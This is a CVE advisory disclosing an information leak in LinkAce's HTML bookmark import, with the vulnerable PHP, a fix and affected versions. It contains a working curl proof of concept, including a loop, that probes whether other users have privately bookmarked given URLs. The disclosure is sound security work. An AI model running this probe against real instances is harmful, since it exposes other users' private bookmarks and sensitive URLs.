← Back to CVE List
CVE-2026-104185NVD
Vulnerability Summary
Summary I found that LinkAce's HTML bookmark import function checks for duplicate URLs across all users and all visibility levels — not just the importing user's own bookmarks. This means any authenticated user can perform a binary oracle to determine whether any specific URL has been saved by any other user in the system, including URLs bookmarked as `PRIVATE` (is_private=1). By importing a single-entry bookmark file and observing whether the response reports `skipped=1` (URL exists in the system) or `queued=1` (URL not found), an attacker can enumerate private bookmarks of other users one URL at a time. Details In `app/Actions/ImportHtmlBookmarks.php` at line 42: ```php // ImportHtmlBookmarks.php line 42 if (Link::whereUrl($link['url'])->first()) { $this->skipped++; continue; } ``` The `Link::whereUrl()` scope in `app/Models/Link.php` performs a global lookup with no `user_id` or `is_private` constraint: ```php // app/Models/Link.php public function scopeWhereUrl(Builder $query, string $url): Builder { return $query->where('url', $url); } ``` This means the duplicate check matches any link with that URL regardless of ownership or privacy setting. The import endpoint then returns an `ImportResult` that includes the `skipped` count, which is directly visible to the importing user in the response or job result. By contrast, when a user searches for links in their own collection, the query correctly scopes to `user_id = auth()->id()` and respects `is_private` for other users' public links. PoC Prerequisites: - Two LinkAce accounts: victim and attacker - Victim has saved a private bookmark: `https://confidential.example.com/user/alice/salary-slip-2025.pdf` - Tools: `curl`, a Netscape bookmark HTML file ```bash LINKACE="https://linkace.example.com" ATTACKER_SESSION="<attacker-session-cookie>" # or API token Step 1 — Victim saves a PRIVATE bookmark (done by victim, not shown) Result: Link created with is_private=1, user_id=<victim_id> Step 2 — Attacker creates a probe bookmark file for the target URL cat > /tmp/probe.html << 'HTML' <!DOCTYPE NETSCAPE-Bookmark-file-1> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>Bookmarks</TITLE> <H1>Bookmarks</H1> <DL><p> <DT><A HREF="https://confidential.example.com/user/alice/salary-slip-2025.pdf" ADD_DATE="1700000000">Probe</A> </DL><p> HTML Step 3 — Attacker imports the probe file RESP=$(curl -s -X POST "$LINKACE/import" \ -b "$ATTACKER_SESSION" \ -H "X-CSRF-TOKEN: <csrf_token>" \ -F "import-file=@/tmp/probe.html;type=text/html") echo "$RESP" | python3 -c "import sys,json; d=json.load(sys.stdin); print('Skipped:', d.get('skipped'), 'Queued:', d.get('queued'))" Expected if URL EXISTS in any user's bookmarks: {"skipped": 1, "queued": 0, ...} Expected if URL does NOT exist: {"skipped": 0, "queued": 1, ...} Result: attacker learns that alice has bookmarked the salary-slip URL Step 4 — Enumerate multiple private URLs for URL in \ "https://banking.example.com/alice/account" \ "https://medical.example.com/alice/records" \ "https://confidential.example.com/alice/docs"; do cat > /tmp/probe.html << HTML <!DOCTYPE NETSCAPE-Bookmark-file-1><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><TITLE>Bookmarks</TITLE><H1>Bookmarks</H1><DL><p><DT><A HREF="$URL" ADD_DATE="1700000000">P</A></DL><p> HTML RESULT=$(curl -s -X POST "$LINKACE/import" -b "$ATTACKER_SESSION" \ -H "X-CSRF-TOKEN: <csrf>" -F "import-file=@/tmp/probe.html;type=text/html" | \ python3 -c "import sys,json; d=json.load(sys.stdin); print('EXISTS' if d.get('skipped',0)>0 else 'not found')") echo "$URL: $RESULT" done Expected: reveals which private URLs other users have bookmarked ``` Impact Any authenticated LinkAce user can determine whether any specific URL — including URLs saved as `PRIVATE` by other users — exists in the system's bookmark database. This can reveal: - Sensitive personal URLs that other users have saved (financial, medical, HR documents) - Internal URLs that employees have bookmarked (intranet paths, admin panels, internal APIs) - Private API endpoints or access-token URLs embedded in bookmarked addresses The attack is low-cost (one HTTP request per probe URL) and leaves no trace beyond normal import activity. On an instance with many users, systematic probing of known URL patterns can enumerate significant amounts of private data. Fix Scope the duplicate-URL check in `app/Actions/ImportHtmlBookmarks.php` to the importing user's own links only: ```php // Change: if (Link::whereUrl($link['url'])->first()) { // To: if (Link::whereUrl($link['url'])->where('user_id', $userId)->first()) { ``` This correctly skips only the importing user's own duplicate URLs without exposing other users' private bookmarks. It also fixes the secondary issue where users currently cannot import URLs that other users have already saved. If possible, please apply for a CVE number when publishing. I would greatly appreciate it.
CVSS v3.1 Base Metrics — Score 4.3
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityNone
AvailabilityNone
Affected & Patched Versions
- kovah/linkace <= 2.5.9
- kovah/linkace 2.6.0